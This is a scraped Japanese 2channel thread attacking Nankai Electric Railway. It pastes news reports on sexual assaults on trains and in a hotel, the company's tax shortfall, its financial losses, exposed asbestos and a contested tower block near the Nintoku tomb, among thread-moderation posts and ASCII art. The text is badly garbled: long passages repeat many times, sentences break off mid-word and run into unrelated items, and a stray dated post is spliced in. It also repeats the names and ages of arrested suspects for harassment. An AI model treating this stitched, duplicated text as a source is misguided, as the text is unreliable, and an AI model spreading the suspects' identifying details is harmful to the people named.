表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園
発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員
の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課に
よると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子
生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体
触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調
べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両
容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。
２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。
両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかっ
たという。６月上旬に女性が同署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7月26日11時6分紙面
から］ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html 南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数
字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、
関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類
の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいもの
かがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十
九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に
見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同
期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を
整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、
たという。６月上旬に女性が同署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7月26日11時6分紙面
から］ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html 南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数
字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、
関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類
の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいもの
かがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十
九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に
見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同
期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を
整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、
難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算で
はもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字
転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降
、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計画仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ
約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指してい
るが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を開いている
が、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二十一年三月
のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵
の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群
の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなけ
れば世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録
はもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字
転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降
、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計画仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ
約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指してい
るが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を開いている
が、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二十一年三月
のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵
の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群
の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなけ
れば世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録
し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建って
いる。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti00
1.htm ■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。
超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュー
スが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は
以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に
指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆
剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メートル。完成したら周囲の景観は激変
し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、手作りの模型で、
マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考
え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。
いる。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti00
1.htm ■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。
超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュー
スが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は
以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に
指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆
剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メートル。完成したら周囲の景観は激変
し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、手作りの模型で、
マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考
え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。
576 ：ひみつの検疫さん：2024/05/09(木) 17:55:32 ID:MarkedRes
汚染を除去しました。
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重複誘導【当期赤字】南海電気鉄道ｽﾚｯﾄﾞNa79【強制猥褻】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/
>9その南海ヲタですら「不快感を覚える」犯罪行為を行ったのは、他ならぬ南海の社員なんだから、仕方ない。事実は事実。ほとぼりが冷めるまでの期間は、書かれたり多少叩かれてもやむを
得ないだろう。それよりも、次スレはこっち↓だという判断が削除人から下ったし、移動移動。このスレももうじき削除。【当期赤字】南海電気鉄道ｽﾚｯﾄﾞNa79【強制猥褻】ttp://hobby7.2ch.
net/test/read.cgi/rail/1155819542/l50
得ないだろう。それよりも、次スレはこっち↓だという判断が削除人から下ったし、移動移動。このスレももうじき削除。【当期赤字】南海電気鉄道ｽﾚｯﾄﾞNa79【強制猥褻】ttp://hobby7.2ch.
net/test/read.cgi/rail/1155819542/l50
金鳥の夏、現行スレが大してレス数逝ってないにもう次スレ立てる日本の夏厨。>1_,-─ｧへr-ｔ、,.''´,/':::':::::::::::::└'´|､,",}｀::::::,;:'';;'';;';;'';:;,::::.´ｽ/}:::::::,:''-
‐ﾞ:;;:::''ﾞ::::::,ﾉ'i,i'>-く(･)ﾞ.ゝY'''''''"',{｀刀リヾﾟ´,;;､}',,.::';':';::':::::'レ-‐ﾍ.,!'i,{:;';:'ﾞ::::,;:''ﾞ::::::ﾞ:;;::::ﾞ::.､/.ヽ.ヽ;;,::''::;ﾞ´上ﾞ;:::::'':::::,ﾝ′
ヽ(:::;:::::ﾞ､山,'::::ﾞ,.イ｀`''ｰ-ニ‐''"´┌┐,r‐ｩ┌┐┌┐┌┐,r──‐ｉ┌┐┌┐,.-─-､││／,／│<.|`'ｰ､_,!│ｒ',r‐─┘│L.......」|/,r‐-､ヽ││ヽ、ヽ、│││..r‐､|{{.│
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ヽ(:::;:::::ﾞ､山,'::::ﾞ,.イ｀`''ｰ-ニ‐''"´┌┐,r‐ｩ┌┐┌┐┌┐,r──‐ｉ┌┐┌┐,.-─-､││／,／│<.|`'ｰ､_,!│ｒ',r‐─┘│L.......」|/,r‐-､ヽ││ヽ、ヽ、│││..r‐､|{{.│
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【当期赤字】南海電気鉄道ｽﾚｯﾄﾞNa79【強制猥褻】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/l50が削除人が認めた正式スレですので、よろしくお願いしますなお、工作活動など
変な動きをした場合、削除人に報告されれば当スレは即時削除される可能性が高いので十分ご注意くださいね なお、削除人が正式スレと認めた【当期赤字】南海電気鉄道ｽﾚｯﾄﾞNa79【強制猥
褻】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/l50のスレを使い終わるまでは、次スレは立てられません無視して立てた場合は、先日と同様削除人に即時削除されますただし、上
記正式スレを無意味に埋め立てるなどの迷惑行為が見られた場合、報告を受けた削除人によって当スレは削除されます
変な動きをした場合、削除人に報告されれば当スレは即時削除される可能性が高いので十分ご注意くださいね なお、削除人が正式スレと認めた【当期赤字】南海電気鉄道ｽﾚｯﾄﾞNa79【強制猥
褻】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/l50のスレを使い終わるまでは、次スレは立てられません無視して立てた場合は、先日と同様削除人に即時削除されますただし、上
記正式スレを無意味に埋め立てるなどの迷惑行為が見られた場合、報告を受けた削除人によって当スレは削除されます
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■終了■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■智弁和歌山が駒大苫小牧に負けたの
は赤字監禁強制わいせつ南海ヲタのせいだ！！ただし、削除人が正式スレを向こうだと認めた以上、向こうが正式スレガイドラインに反していないスレをアンチスレだという論理自体が成り立
っていないのだから、仕方がない【当期赤字】南海電気鉄道ｽﾚｯﾄﾞNa79【強制猥褻】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/l50スレを消化しない限り、次スレはすべて重複スレ
として削除してもらえます>33珍作は【当期赤字】南海電気鉄道ｽﾚｯﾄﾞNa79【強制猥褻】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/l50スレを落ちないように保守しておいてくださ
いな削除人の認める正式スレがあれば、次以降新スレはすべて重複で削除してもらえますし ではいつもの脱税厨等テンプレどうぞ！↓
は赤字監禁強制わいせつ南海ヲタのせいだ！！ただし、削除人が正式スレを向こうだと認めた以上、向こうが正式スレガイドラインに反していないスレをアンチスレだという論理自体が成り立
っていないのだから、仕方がない【当期赤字】南海電気鉄道ｽﾚｯﾄﾞNa79【強制猥褻】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/l50スレを消化しない限り、次スレはすべて重複スレ
として削除してもらえます>33珍作は【当期赤字】南海電気鉄道ｽﾚｯﾄﾞNa79【強制猥褻】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/l50スレを落ちないように保守しておいてくださ
いな削除人の認める正式スレがあれば、次以降新スレはすべて重複で削除してもらえますし ではいつもの脱税厨等テンプレどうぞ！↓
低学歴↓
◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０
００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め
約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を
開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経
理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理
で当期赤字に南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪
府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄 アスベストむき出
しアスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれはない
として撤去や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で
〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（
００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め
約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を
開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経
理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理
で当期赤字に南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪
府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄 アスベストむき出
しアスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれはない
として撤去や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で
〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（
10）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。
調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝
日新聞２月28日付朝刊35頁社会面４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕--------------------------------------------------------------------------------大阪府立高校の
男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わ
いせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為
を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわた
って体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続け
た疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた
数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◇◆
◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４
＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパ
調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝
日新聞２月28日付朝刊35頁社会面４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕--------------------------------------------------------------------------------大阪府立高校の
男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わ
いせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為
を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわた
って体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続け
た疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた
数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◇◆
◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４
＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパ
ニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有
馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行く
ため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニ
オン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教
育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7月26日11時6分紙面から］ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html南海電鉄で囁かれる｢最悪
のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然と
して厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい
様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三
月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ
千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後
利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。 「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイ
馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行く
ため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニ
オン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教
育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7月26日11時6分紙面から］ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html南海電鉄で囁かれる｢最悪
のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然と
して厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい
様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三
月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ
千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後
利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。 「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイ
ナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年より
も収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それ
でも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状
態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字とな
っている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増
してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計
画仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわか
